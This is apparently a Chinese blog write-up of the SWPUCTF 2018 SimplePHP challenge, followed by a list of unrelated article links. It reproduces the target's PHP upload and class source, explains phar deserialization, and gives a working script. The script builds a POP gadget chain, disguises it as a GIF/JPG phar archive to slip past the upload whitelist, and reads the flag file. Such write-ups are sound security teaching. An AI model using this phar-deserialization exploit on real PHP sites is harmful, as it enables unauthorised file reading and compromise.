当前位置: 首页 > news >正文

[SWPUCTF 2018]SimplePHP

利用查看文件页面进行文件读取,找到关键源码:

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?> 

文件后缀白名单过滤,文件上传地址"upload/" .md5($_FILES[“file”][“name”].$_SERVER[“REMOTE_ADDR”]).“.jpg”

class.php

 <?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?> 

源码中提示了使用phar协议。

phar 文件的概念及结构
概念:phar(PHP Archive)是 PHP 里类似于 Java 中 jar 的一种打包文件,它可以把多个 PHP 文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
结构:phar 文件由四部分组成。一是 stub,即文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。二是 manifest,用于存储压缩文件属性等信息,以序列化形式存储,这也是反序列化攻击的关键部分。三是 contents,即被压缩文件的内容。四是 signature,为签名,放在文件末尾,用于验证 Phar 文件的完整性,是可选部分。
phar 伪协议的用途
访问归档文件中的文件:通过指定 phar 文件的路径来访问其中包含的文件,例如,phar://path/to/archive.phar/file.txt可以访问归档文件archive.phar中的file.txt。
读取归档文件中的内容:可以像读取普通文件一样使用file_get_contents()或fopen()等函数来读取 phar 归档文件中的内容。
执行归档文件中的代码:使用include或require等 PHP 包含文件的函数来执行 phar 归档文件中的 PHP 代码,这也是利用 phar:// 协议进行文件上传漏洞攻击的关键。
phar 伪协议的安全风险
当服务器端应用程序接受用户上传的文件并未进行充分验证时,攻击者可能会利用 phar 伪协议进行攻击。攻击者可以构造恶意的 phar 文件,在其中包含 PHP 代码,然后将文件名伪装成其他类型的文件扩展名,例如image.png*(依赖文件内容中的特定标识而不是后缀名来识别phar文件)*。一旦服务器端应用程序接受并存储了这个文件,攻击者可以通过请求绕过文件类型验证,然后再通过 phar:// 协议来访问该文件,导致 PHP 解析并执行该文件中嵌入的恶意代码,从而使攻击者能够在服务器上执行任意的操作或获取敏感信息。

这里虽然没有include或者require执行代码,但是存在魔术方法,在解析phar数据并进行反序列化时会自动执行。
因此我们只需要构造出反序列化语句,再打包放入phar文件的manifest中,修改后缀名绕过过滤。

利用C1e4r的__destruct()中echo $this->test 唤醒 Show的__tostring()中的$this->str[‘str’]->source 唤醒Test中的__get()读取flag.php。

$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';
echo serialize($a);

然后是将其放入phar文件中

// 创建一个名为 phar.phar 的 Phar 归档文件对象
$phar = new Phar("phar.phar"); // 开始缓冲操作(所有修改先暂存,不立即写入文件)
$phar->startBuffering();// 设置 Phar 文件的"伪装头"和执行标记
// "GIF89a"是 GIF 图片的文件头,用于让文件被识别为图片(绕过文件类型检测)
// "<?php __HALT_COMPILER(); ?>"是 Phar 必须的执行标记,告诉 PHP 这是可解析的 Phar 包
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 向 Phar 包添加"隐藏的元数据"(核心数据)
// $a 是一个变量,其内容会被序列化后存储(读取时会自动反序列化)
// 元数据不显示为文件,需通过专门方法读取,常用于存储描述信息或(在特殊场景中)恶意代码
$phar->setMetadata($a);  // 向 Phar 包添加一个"实体文件"(结构必需)
// 文件名是 exp.txt,内容是 test(仅作为占位符,让 Phar 格式有效)
// 这个文件是 Phar 包的"可见内容",类似 ZIP 里的文件,用于维持归档的基本结构
$phar->addFromString("exp.txt", "test"); // 结束缓冲,将所有修改(元数据、实体文件、伪装头)写入到 phar.phar 文件中
$phar->stopBuffering();

payload:

<?php
class C1e4r
{public $test;public $str;
}class Show
{public $source;public $str;
}
class Test
{public $file;public $params;
}$a = new C1e4r;
$b = new Show;
$c = new Test;
$a->str = $b;
$b->str['str'] = $c;
$c->params['source'] = '/var/www/html/f1ag.php';$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); 
$phar->setMetadata($a);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();?> 

再修改后缀名并上传.
用源码中的方式生成文件位置应该是upload/md5('phar.jpg222.90.67.205').jpg
upload/296091de1a585b89c3c237bad67ee2fc.jpg
但是实际位置并不是这个。访问/upload可以看到文件位置:
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/e7764f008afa430d910bbe6847f7d07d.png =400)
利用phar:// 访问该文件即可得到flag。

总结

利用文件读取获得源码,关键在于用phar反序列化结合文件上传读取flag。

http://www.xdnf.cn/news/1419877.html

相关文章:

  • 如何用AI视频增强清晰度软件解决画质模糊问题
  • 【音视频】WebRTC QoS 概述
  • 子串:滑动窗口最大值
  • Flutter 完全组件化的项目结构设计实践
  • 王丹妮《营救飞虎》首映礼获赞 三家姐展现坚毅与温柔并存
  • FunASR开源部署中文实时语音听写服务(CPU)
  • uniapp 优博讯k329蓝牙打印机,设置打印机,一键打印
  • 通义灵码+支付 MCP:30 分钟实现创作打赏智能体
  • Agent落地元年:谁在成为最坚实的土壤?
  • 私有化存储架构演进:从传统NAS到一体化数据平台
  • 分布式光伏模式怎么选?从 “凭经验” 到 “靠数据”,iSolarBP 帮你锁定最优解
  • 恶意软件概念学习
  • 从零到一,在GitHub上构建你的专属知识大脑:一个模块化RAG系统的开源实现
  • Windows系统下如何配置和使用jfrog.exe
  • 【设计模式】--重点知识点总结
  • CatBoost(Categorical Boosting,类别提升)总结梳理
  • 基于SpringBoot的运动服装销售系统【2026最新】
  • python爬虫之requests库的使用(小白五分钟从入门到精通)
  • 【笔记】算法设计:异或空间线性基
  • 树形结构后端构建
  • 【前端】跨域
  • Python云原生与Serverless架构:2025年的开发新范式
  • java讲解自己对业务架构、数据架构、应用架构的理解
  • C++ 面试高频考点 力扣 35. 搜索插入位置 二分查找 左右端点查找 题解 每日一题
  • 数组(3)
  • 深度学习篇---ShuffleNet
  • 人工智能知识体系全景图:从基础概念到2025年前沿技术(二)
  • 基于SpringBoot+MYSQL开发的教务选课系统
  • 基于SpringBoot的动漫周边商城系统【2026最新】
  • 第二十八天-光敏传感器实验